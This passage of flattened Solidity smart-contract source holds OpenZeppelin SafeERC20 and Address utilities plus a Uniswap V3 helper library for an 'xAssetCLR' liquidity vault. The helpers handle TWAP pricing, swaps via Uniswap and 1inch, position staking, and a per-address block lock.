0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol"; import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol"; import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol"; import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import "@uniswap/v3-core/contracts/libraries/TickMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./ABDKMath64x64.sol"; import "./Utils.sol"; /** * Helper library for Uniswap functions * Used in xAssetCLR */ library UniswapLibrary { using SafeMath for uint256; using SafeERC20 for IERC20; uint8 private constant TOKEN_DECIMAL_REPRESENTATION = 18; uint256 private constant SWAP_SLIPPAGE = 50; // 2% uint256 private constant MINT_BURN_SLIPPAGE = 100; // 1% uint256 private constant BUFFER_TARGET = 20; // 5% target // 1inch v3 exchange address address private constant oneInchExchange = 0x11111112542D85B3EF69AE05771c2dCCff4fAa26; struct TokenDetails { address token0; address token1; uint256 token0DecimalMultiplier; uint256 token1DecimalMultiplier; uint256 tokenDiffDecimalMultiplier; uint8 token0Decimals; uint8 token1Decimals; } struct PositionDetails { uint24 poolFee; uint32 twapPeriod; uint160 priceLower; uint160 priceUpper; uint256 tokenId; address positionManager; address router; address pool; } struct AmountsMinted { uint256 amount0ToMint; uint256 amount1ToMint; uint256 amount0Minted; uint256 amount1Minted; } /* ========================================================================================= */ /* Uni V3 Pool Helper functions */ /* ========================================================================================= */ /** * @dev Returns the current pool price */ function getPoolPrice(address _pool) public view returns (uint160) { IUniswapV3Pool pool = IUniswapV3Pool(_pool); (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return sqrtRatioX96; } /** * @dev Returns the current pool liquidity */ function getPoolLiquidity(address _pool) public view returns (uint128) { IUniswapV3Pool pool = IUniswapV3Pool(_pool); return pool.liquidity(); } /** * @dev Calculate pool liquidity for given token amounts */ function getLiquidityForAmounts( uint256 amount0, uint256 amount1, uint160 priceLower, uint160 priceUpper, address pool ) public view returns (uint128 liquidity) { liquidity = LiquidityAmounts.getLiquidityForAmounts( getPoolPrice(pool), priceLower, priceUpper, amount0, amount1 ); } /** * @dev Calculate token amounts for given pool liquidity */ function getAmountsForLiquidity( uint128 liquidity, uint160 priceLower, uint160 priceUpper, address pool ) public view returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity( getPoolPrice(pool), priceLower, priceUpper, liquidity ); } /** * @dev Calculates the amounts deposited/withdrawn from the pool * @param amount0 - token0 amount to deposit/withdraw * @param amount1 - token1 amount to deposit/withdraw */ function calculatePoolMintedAmounts( uint256 amount0, uint256 amount1, uint160 priceLower, uint160 priceUpper, address pool ) public view returns (uint256 amount0Minted, uint256 amount1Minted) { uint128 liquidityAmount = getLiquidityForAmounts( amount0, amount1, priceLower, priceUpper, pool ); (amount0Minted, amount1Minted) = getAmountsForLiquidity( liquidityAmount, priceLower, priceUpper, pool ); } /** * @dev Get asset 0 twap * @dev Uses Uni V3 oracle, reading the TWAP from twap period * @dev or the earliest oracle observation time if twap period is not set */ function getAsset0Price( address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier ) public view returns (int128) { uint32[] memory secondsArray = new uint32[](2); // get earliest oracle observation time IUniswapV3Pool poolImpl = IUniswapV3Pool(pool); uint32 observationTime = getObservationTime(poolImpl); uint32 currTimestamp = uint32(block.timestamp); uint32 earliestObservationSecondsAgo = currTimestamp - observationTime; if ( twapPeriod == 0 || !Utils.lte( currTimestamp, observationTime, currTimestamp - twapPeriod ) ) { // set to earliest observation time if: // a) twap period is 0 (not set) // b) now - twap period is before earliest observation secondsArray[0] = earliestObservationSecondsAgo; } else { secondsArray[0] = twapPeriod; } secondsArray[1] = 0; (int56[] memory prices, ) = poolImpl.observe(secondsArray); int128 twap = Utils.getTWAP(prices, secondsArray[0]); if (token1Decimals > token0Decimals) { // divide twap by token decimal difference twap = ABDKMath64x64.mul( twap, ABDKMath64x64.divu(1, tokenDiffDecimalMultiplier) ); } else if (token0Decimals > token1Decimals) { // multiply twap by token decimal difference int128 multiplierFixed = ABDKMath64x64.fromUInt(tokenDiffDecimalMultiplier); twap = ABDKMath64x64.mul(twap, multiplierFixed); } return twap; } /** * @dev Get asset 1 twap * @dev Uses Uni V3 oracle, reading the TWAP from twap period * @dev or the earliest oracle observation time if twap period is not set */ function getAsset1Price( address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier ) public view returns (int128) { return ABDKMath64x64.inv( getAsset0Price( pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ) ); } /** * @dev Returns amount in terms of asset 0 * @dev amount * asset 1 price */ function getAmountInAsset0Terms( uint256 amount, address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier ) public view returns (uint256) { return ABDKMath64x64.mulu( getAsset1Price( pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ), amount ); } /** * @dev Returns amount in terms of asset 1 * @dev amount * asset 0 price */ function getAmountInAsset1Terms( uint256 amount, address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier ) public view returns (uint256) { return ABDKMath64x64.mulu( getAsset0Price( pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ), amount ); } /** * @dev Returns the earliest oracle observation time */ function getObservationTime(IUniswapV3Pool _pool) public view returns (uint32) { IUniswapV3Pool pool = _pool; (, , uint16 index, uint16 cardinality, , , ) = pool.slot0(); uint16 oldestObservationIndex = (index + 1) % cardinality; (uint32 observationTime, , , bool initialized) = pool.observations(oldestObservationIndex); if (!initialized) (observationTime, , , ) = pool.observations(0); return observationTime; } /** * @dev Checks if twap deviates too much from the previous twap * @return current twap */ function checkTwap( address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier, int128 lastTwap, uint256 maxTwapDeviationDivisor ) public view returns (int128) { int128 twap = getAsset0Price( pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); int128 _lastTwap = lastTwap; int128 deviation = _lastTwap > twap ? _lastTwap - twap : twap - _lastTwap; int128 maxDeviation = ABDKMath64x64.mul( twap, ABDKMath64x64.divu(1, maxTwapDeviationDivisor) ); require(deviation <= maxDeviation, "Wrong twap"); return twap; } /** * @dev get tick spacing corresponding to pool fee amount */ function getTickSpacingForFee(uint24 fee) public pure returns (int24) { if (fee == 500) { return 10; } else if (fee == 3000) { return 60; } else if (fee == 10000) { return 200; } else { return 0; } } /* ========================================================================================= */ /* Uni V3 Swap Router Helper functions */ /* ========================================================================================= */ /** * @dev Swap token 0 for token 1 in xAssetCLR contract * @dev amountIn and amountOut should be in 18 decimals always * @dev amountIn and amountOut are in token 0 terms */ function swapToken0ForToken1( uint256 amountIn, uint256 amountOut, PositionDetails memory positionDetails, TokenDetails memory tokenDetails ) public returns (uint256 _amountOut) { amountOut = getAmountInAsset1Terms( amountOut, positionDetails.pool, positionDetails.twapPeriod, tokenDetails.token0Decimals, tokenDetails.token1Decimals, tokenDetails.tokenDiffDecimalMultiplier ); uint256 token0Balance = getBufferToken0Balance( IERC20(tokenDetails.token0), tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); require( token0Balance > amountIn, "Swap token 0 for token 1: not enough token 0 balance" ); amountIn = getToken0AmountInNativeDecimals( amountIn, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); amountOut = getToken1AmountInNativeDecimals( amountOut, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); ISwapRouter(positionDetails.router).exactOutputSingle( ISwapRouter.ExactOutputSingleParams({ tokenIn: tokenDetails.token0, tokenOut: tokenDetails.token1, fee: positionDetails.poolFee, recipient: address(this), deadline: block.timestamp, amountOut: amountOut, amountInMaximum: amountIn, sqrtPriceLimitX96: TickMath.MIN_SQRT_RATIO + 1 }) ); return amountOut; } /** * @dev Swap token 1 for token 0 in xAssetCLR contract * @dev amountIn and amountOut should be in 18 decimals always * @dev amountIn and amountOut are in token 0 terms */ function swapToken1ForToken0( uint256 amountIn, uint256 amountOut, PositionDetails memory positionDetails, TokenDetails memory tokenDetails ) public returns (uint256 _amountIn) { amountIn = getAmountInAsset1Terms( amountIn, positionDetails.pool, positionDetails.twapPeriod, tokenDetails.token0Decimals, tokenDetails.token1Decimals, tokenDetails.tokenDiffDecimalMultiplier ); uint256 token1Balance = getBufferToken1Balance( IERC20(tokenDetails.token1), tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); require( token1Balance > amountIn, "Swap token 1 for token 0: not enough token 1 balance" ); amountIn = getToken1AmountInNativeDecimals( amountIn, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); amountOut = getToken0AmountInNativeDecimals( amountOut, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); ISwapRouter(positionDetails.router).exactOutputSingle( ISwapRouter.ExactOutputSingleParams({ tokenIn: tokenDetails.token1, tokenOut: tokenDetails.token0, fee: positionDetails.poolFee, recipient: address(this), deadline: block.timestamp, amountOut: amountOut, amountInMaximum: amountIn, sqrtPriceLimitX96: TickMath.MAX_SQRT_RATIO - 1 }) ); return amountIn; } /* ========================================================================================= */ /* 1inch Swap Helper functions */ /* ========================================================================================= */ /** * @dev Swap tokens in xAssetCLR using 1inch v3 exchange * @param minReturn - required min amount out from swap, in 18 decimals * @param _0for1 - swap token0 for token1 if true, token1 for token0 if false * @param tokenDetails - xAssetCLR token 0 and token 1 details * @param _oneInchData - One inch calldata, generated off-chain from their v3 api for the swap */ function oneInchSwap( uint256 minReturn, bool _0for1, TokenDetails memory tokenDetails, bytes memory _oneInchData ) public { uint256 token0AmtSwapped; uint256 token1AmtSwapped; bool success; // inline code to prevent stack too deep errors { IERC20 token0 = IERC20(tokenDetails.token0); IERC20 token1 = IERC20(tokenDetails.token1); uint256 balanceBeforeToken0 = token0.balanceOf(address(this)); uint256 balanceBeforeToken1 = token1.balanceOf(address(this)); (success, ) = oneInchExchange.call(_oneInchData); require(success, "One inch swap call failed"); uint256 balanceAfterToken0 = token0.balanceOf(address(this)); uint256 balanceAfterToken1 = token1.balanceOf(address(this)); token0AmtSwapped = subAbs(balanceAfterToken0, balanceBeforeToken0); token1AmtSwapped = subAbs(balanceAfterToken1, balanceBeforeToken1); } uint256 amountInSwapped; uint256 amountOutReceived; if (_0for1) { amountInSwapped = getToken0AmountInWei( token0AmtSwapped, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); amountOutReceived = getToken1AmountInWei( token1AmtSwapped, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); } else { amountInSwapped = getToken1AmountInWei( token1AmtSwapped, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); amountOutReceived = getToken0AmountInWei( token0AmtSwapped, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); } // require minimum amount received is > min return require( amountOutReceived > minReturn, "One inch swap not enough output token amount" ); } /** * Approve 1inch v3 for swaps */ function approveOneInch(IERC20 token0, IERC20 token1) public { token0.safeApprove(oneInchExchange, type(uint256).max); token1.safeApprove(oneInchExchange, type(uint256).max); } /* ========================================================================================= */ /* NFT Position Manager Helpers */ /* ========================================================================================= */ /** * @dev Returns the current liquidity in a position represented by tokenId NFT */ function getPositionLiquidity(address positionManager, uint256 tokenId) public view returns (uint128 liquidity) { (, , , , , , , liquidity, , , , ) = INonfungiblePositionManager( positionManager ) .positions(tokenId); } /** * @dev Stake liquidity in position represented by tokenId NFT */ function stake( uint256 amount0, uint256 amount1, address positionManager, uint256 tokenId ) public returns (uint256 stakedAmount0, uint256 stakedAmount1) { (, stakedAmount0, stakedAmount1) = INonfungiblePositionManager( positionManager ) .increaseLiquidity( INonfungiblePositionManager.IncreaseLiquidityParams({ tokenId: tokenId, amount0Desired: amount0, amount1Desired: amount1, amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)), amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)), deadline: block.timestamp }) ); } /** * @dev Unstake liquidity from position represented by tokenId NFT * @dev using amount0 and amount1 instead of liquidity */ function unstake( uint256 amount0, uint256 amount1, PositionDetails memory positionDetails ) public returns (uint256 collected0, uint256 collected1) { uint128 liquidityAmount = getLiquidityForAmounts( amount0, amount1, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); (uint256 _amount0, uint256 _amount1) = unstakePosition(liquidityAmount, positionDetails); return collectPosition( uint128(_amount0), uint128(_amount1), positionDetails.tokenId, positionDetails.positionManager ); } /** * @dev Unstakes a given amount of liquidity from the Uni V3 position * @param liquidity amount of liquidity to unstake * @return amount0 token0 amount unstaked * @return amount1 token1 amount unstaked */ function unstakePosition( uint128 liquidity, PositionDetails memory positionDetails ) public returns (uint256 amount0, uint256 amount1) { INonfungiblePositionManager positionManager = INonfungiblePositionManager(positionDetails.positionManager); (uint256 _amount0, uint256 _amount1) = getAmountsForLiquidity( liquidity, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); (amount0, amount1) = positionManager.decreaseLiquidity( INonfungiblePositionManager.DecreaseLiquidityParams({ tokenId: positionDetails.tokenId, liquidity: liquidity, amount0Min: _amount0.sub(_amount0.div(MINT_BURN_SLIPPAGE)), amount1Min: _amount1.sub(_amount1.div(MINT_BURN_SLIPPAGE)), deadline: block.timestamp }) ); } /** * @dev Collect token amounts from pool position */ function collectPosition( uint128 amount0, uint128 amount1, uint256 tokenId, address positionManager ) public returns (uint256 collected0, uint256 collected1) { (collected0, collected1) = INonfungiblePositionManager(positionManager) .collect( INonfungiblePositionManager.CollectParams({ tokenId: tokenId, recipient: address(this), amount0Max: amount0, amount1Max: amount1 }) ); } /** * @dev Creates the NFT token representing the pool position * @dev Mint initial liquidity */ function createPosition( uint256 amount0, uint256 amount1, address positionManager, TokenDetails memory tokenDetails, PositionDetails memory positionDetails ) public returns (uint256 _tokenId) { (_tokenId, , , ) = INonfungiblePositionManager(positionManager).mint( INonfungiblePositionManager.MintParams({ token0: tokenDetails.token0, token1: tokenDetails.token1, fee: positionDetails.poolFee, tickLower: getTickFromPrice(positionDetails.priceLower), tickUpper: getTickFromPrice(positionDetails.priceUpper), amount0Desired: amount0, amount1Desired: amount1, amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)), amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)), recipient: address(this), deadline: block.timestamp }) ); } /** * @dev burn NFT representing a pool position with tokenId * @dev uses NFT Position Manager */ function burn(address positionManager, uint256 tokenId) public { INonfungiblePositionManager(positionManager).burn(tokenId); } /* ========================================================================================= */ /* xAssetCLR Helpers */ /* ========================================================================================= */ /** * @dev Admin function to stake tokens * @dev used in case there's leftover tokens in the contract */ function adminRebalance( TokenDetails memory tokenDetails, PositionDetails memory positionDetails ) public { (uint256 token0Balance, uint256 token1Balance) = getBufferTokenBalance(tokenDetails); token0Balance = getToken0AmountInNativeDecimals( token0Balance, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); token1Balance = getToken1AmountInNativeDecimals( token1Balance, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); (uint256 stakeAmount0, uint256 stakeAmount1) = checkIfAmountsMatchAndSwap( token0Balance, token1Balance, positionDetails, tokenDetails ); require( stakeAmount0 != 0 && stakeAmount1 != 0, "Rebalance amounts are 0" ); (uint256 amount0, uint256 amount1) = calculatePoolMintedAmounts( stakeAmount0, stakeAmount1, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); stake( amount0, amount1, positionDetails.positionManager, positionDetails.tokenId ); } /** * @dev Check if token amounts match before attempting rebalance in xAssetCLR * @dev Uniswap contract requires deposits at a precise token ratio * @dev If they don't match, swap the tokens so as to deposit as much as possible * @param amount0ToMint how much token0 amount we want to deposit/withdraw * @param amount1ToMint how much token1 amount we want to deposit/withdraw */ function checkIfAmountsMatchAndSwap( uint256 amount0ToMint, uint256 amount1ToMint, PositionDetails memory positionDetails, TokenDetails memory tokenDetails ) public returns (uint256 amount0, uint256 amount1) { (uint256 amount0Minted, uint256 amount1Minted) = calculatePoolMintedAmounts( amount0ToMint, amount1ToMint, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); if ( amount0Minted < amount0ToMint.sub(amount0ToMint.div(MINT_BURN_SLIPPAGE)) || amount1Minted < amount1ToMint.sub(amount1ToMint.div(MINT_BURN_SLIPPAGE)) ) { // calculate liquidity ratio = // minted liquidity / total pool liquidity // used to calculate swap impact in pool uint256 mintLiquidity = getLiquidityForAmounts( amount0ToMint, amount1ToMint, positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); uint256 poolLiquidity = getPoolLiquidity(positionDetails.pool); int128 liquidityRatio = poolLiquidity == 0 ? 0 : int128(ABDKMath64x64.divuu(mintLiquidity, poolLiquidity)); (amount0, amount1) = restoreTokenRatios( liquidityRatio, AmountsMinted({ amount0ToMint: amount0ToMint, amount1ToMint: amount1ToMint, amount0Minted: amount0Minted, amount1Minted: amount1Minted }), tokenDetails, positionDetails ); } else { (amount0, amount1) = (amount0ToMint, amount1ToMint); } } /** * @dev Swap tokens in xAssetCLR so as to keep a ratio which is required for * @dev depositing/withdrawing liquidity to/from Uniswap pool */ function restoreTokenRatios( int128 liquidityRatio, AmountsMinted memory amountsMinted, TokenDetails memory tokenDetails, PositionDetails memory positionDetails ) private returns (uint256 amount0, uint256 amount1) { // after normalization, returned swap amount will be in wei representation uint256 swapAmount; { int128 asset0Price = getAsset0Price( positionDetails.pool, positionDetails.twapPeriod, tokenDetails.token0Decimals, tokenDetails.token1Decimals, tokenDetails.tokenDiffDecimalMultiplier ); // Swap amount returned is always in asset 0 terms swapAmount = Utils.calculateSwapAmount( Utils.AmountsMinted({ amount0ToMint: getToken0AmountInWei( amountsMinted.amount0ToMint, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ), amount1ToMint: getToken1AmountInWei( amountsMinted.amount1ToMint, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ), amount0Minted: getToken0AmountInWei( amountsMinted.amount0Minted, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ), amount1Minted: getToken1AmountInWei( amountsMinted.amount1Minted, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ) }), liquidityRatio, asset0Price ); if (swapAmount == 0) { return ( amountsMinted.amount0ToMint, amountsMinted.amount1ToMint ); } } uint256 swapAmountWithSlippage = swapAmount.add(swapAmount.div(SWAP_SLIPPAGE)); uint256 mul1 = amountsMinted.amount0ToMint.mul(amountsMinted.amount1Minted); uint256 mul2 = amountsMinted.amount1ToMint.mul(amountsMinted.amount0Minted); (uint256 balance0, uint256 balance1) = getBufferTokenBalance(tokenDetails); if (mul1 > mul2) { if (balance0 < swapAmountWithSlippage) { swapAmountWithSlippage = balance0; } // Swap tokens uint256 amountOut = swapToken0ForToken1( swapAmountWithSlippage, swapAmount, positionDetails, tokenDetails ); amount0 = amountsMinted.amount0ToMint.sub( getToken0AmountInNativeDecimals( swapAmount, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ) ); // amountOut is already in native decimals amount1 = amountsMinted.amount1ToMint.add(amountOut); } else if (mul1 < mul2) { balance1 = getAmountInAsset0Terms( balance1, positionDetails.pool, positionDetails.twapPeriod, tokenDetails.token0Decimals, tokenDetails.token1Decimals, tokenDetails.tokenDiffDecimalMultiplier ); if (balance1 < swapAmountWithSlippage) { swapAmountWithSlippage = balance1; } // Swap tokens uint256 amountIn = swapToken1ForToken0( swapAmountWithSlippage, swapAmount, positionDetails, tokenDetails ); amount0 = amountsMinted.amount0ToMint.add( getToken0AmountInNativeDecimals( swapAmount, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ) ); // amountIn is already in native decimals amount1 = amountsMinted.amount1ToMint.sub(amountIn); } } /** * @dev Withdraw *amount* of token 0 or token 1 * @param forToken0 withdraw balance for token0 (true) or token1 (false) * @param amount token0 or token1 amount we want to withdraw */ function withdrawSingleToken( bool forToken0, uint256 amount, TokenDetails memory tokenDetails, PositionDetails memory positionDetails ) private { uint256 currBalance; uint256 unstakeAmount0; uint256 unstakeAmount1; uint256 swapAmount; IERC20 token0 = IERC20(tokenDetails.token0); IERC20 token1 = IERC20(tokenDetails.token1); uint256 startBalance = forToken0 ? getBufferToken0Balance( token0, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ) : getBufferToken1Balance( token1, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); do { // calculate how much we can withdraw (unstakeAmount0, unstakeAmount1) = calculatePoolMintedAmounts( getToken0AmountInNativeDecimals( amount, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ), getToken1AmountInNativeDecimals( amount, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ), positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); // withdraw both tokens unstake(unstakeAmount0, unstakeAmount1, positionDetails); // swap the excess amount of token 0 for token 1 or vice-versa if (forToken0) { // unstakeAmount1 needs to be in token 0 terms unstakeAmount1 = getAmountInAsset0Terms( unstakeAmount1, positionDetails.pool, positionDetails.twapPeriod, tokenDetails.token0Decimals, tokenDetails.token1Decimals, tokenDetails.tokenDiffDecimalMultiplier ); swapAmount = getToken1AmountInWei( unstakeAmount1, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); swapToken1ForToken0( swapAmount.add(swapAmount.div(SWAP_SLIPPAGE)), swapAmount, positionDetails, tokenDetails ); currBalance = getBufferToken0Balance( token0, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); } else { swapAmount = getToken0AmountInWei( unstakeAmount0, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); swapToken0ForToken1( swapAmount.add(swapAmount.div(SWAP_SLIPPAGE)), swapAmount, positionDetails, tokenDetails ); currBalance = getBufferToken1Balance( token1, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); } } while (currBalance < startBalance.add(amount)); } /** * @dev Get token balances in xAssetCLR contract * @dev returned balances are in wei representation */ function getBufferTokenBalance(TokenDetails memory tokenDetails) public view returns (uint256 amount0, uint256 amount1) { IERC20 token0 = IERC20(tokenDetails.token0); IERC20 token1 = IERC20(tokenDetails.token1); return ( getBufferToken0Balance( token0, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ), getBufferToken1Balance( token1, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ) ); } // Get token balances in the position function getStakedTokenBalance( TokenDetails memory tokenDetails, PositionDetails memory positionDetails ) public view returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = getAmountsForLiquidity( getPositionLiquidity( positionDetails.positionManager, positionDetails.tokenId ), positionDetails.priceLower, positionDetails.priceUpper, positionDetails.pool ); amount0 = getToken0AmountInWei( amount0, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); amount1 = getToken1AmountInWei( amount1, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); } /** * @dev Get token0 balance in xAssetCLR */ function getBufferToken0Balance( IERC20 token0, uint8 token0Decimals, uint256 token0DecimalMultiplier ) public view returns (uint256 amount0) { return getToken0AmountInWei( token0.balanceOf(address(this)), token0Decimals, token0DecimalMultiplier ); } /** * @dev Get token1 balance in xAssetCLR */ function getBufferToken1Balance( IERC20 token1, uint8 token1Decimals, uint256 token1DecimalMultiplier ) public view returns (uint256 amount1) { return getToken1AmountInWei( token1.balanceOf(address(this)), token1Decimals, token1DecimalMultiplier ); } /* ========================================================================================= */ /* Miscellaneous */ /* ========================================================================================= */ /** * @dev Returns token0 amount in token0Decimals */ function getToken0AmountInNativeDecimals( uint256 amount, uint8 token0Decimals, uint256 token0DecimalMultiplier ) public pure returns (uint256) { if (token0Decimals < TOKEN_DECIMAL_REPRESENTATION) { amount = amount.div(token0DecimalMultiplier); } return amount; } /** * @dev Returns token1 amount in token1Decimals */ function getToken1AmountInNativeDecimals( uint256 amount, uint8 token1Decimals, uint256 token1DecimalMultiplier ) public pure returns (uint256) { if (token1Decimals < TOKEN_DECIMAL_REPRESENTATION) { amount = amount.div(token1DecimalMultiplier); } return amount; } /** * @dev Returns token0 amount in TOKEN_DECIMAL_REPRESENTATION */ function getToken0AmountInWei( uint256 amount, uint8 token0Decimals, uint256 token0DecimalMultiplier ) public pure returns (uint256) { if (token0Decimals < TOKEN_DECIMAL_REPRESENTATION) { amount = amount.mul(token0DecimalMultiplier); } return amount; } /** * @dev Returns token1 amount in TOKEN_DECIMAL_REPRESENTATION */ function getToken1AmountInWei( uint256 amount, uint8 token1Decimals, uint256 token1DecimalMultiplier ) public pure returns (uint256) { if (token1Decimals < TOKEN_DECIMAL_REPRESENTATION) { amount = amount.mul(token1DecimalMultiplier); } return amount; } /** * @dev get price from tick */ function getSqrtRatio(int24 tick) public pure returns (uint160) { return TickMath.getSqrtRatioAtTick(tick); } /** * @dev get tick from price */ function getTickFromPrice(uint160 price) public pure returns (int24) { return TickMath.getTickAtSqrtRatio(price); } /** * @dev Subtract two numbers and return absolute value */ function subAbs(uint256 amount0, uint256 amount1) public pure returns (uint256) { return amount0 >= amount1 ? amount0.sub(amount1) : amount1.sub(amount0); } // Subtract two numbers and return 0 if result is < 0 function sub0(uint256 amount0, uint256 amount1) public pure returns (uint256) { return amount0 >= amount1 ? amount0.sub(amount1) : 0; } function calculateFee(uint256 _value, uint256 _feeDivisor) public pure returns (uint256 fee) { if (_feeDivisor > 0) { fee = _value.div(_feeDivisor); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; /** Contract which implements locking of functions via a notLocked modifier Functions are locked per address. */ contract BlockLock { // how many blocks are the functions locked for uint256 private constant BLOCK_LOCK_COUNT = 6; // last block for which this address is timelocked mapping(address => uint256) public lastLockedBlock; function lock(address _address) internal { lastLockedBlock[_address] = block.number + BLOCK_LOCK_COUNT; } modifier notLocked(address lockedAddress) { require( lastLockedBlock[lockedAddress] <= block.number, "Address is temporarily locked" ); _; } } //SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface IxTokenManager { /** * @dev Add a manager to an xAsset fund */ function addManager(address manager, address fund) external; /** * @dev Remove a manager from an xAsset fund */ function removeManager(address manager, address fund) external; /** * @dev Check if an address is a manager for a fund */ function isManager(address manager, address fund) external view returns (bool); /** * @dev Set revenue controller */ function setRevenueController(address controller) external; /** * @dev Check if address is revenue controller */ function isRevenueController(address caller) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have 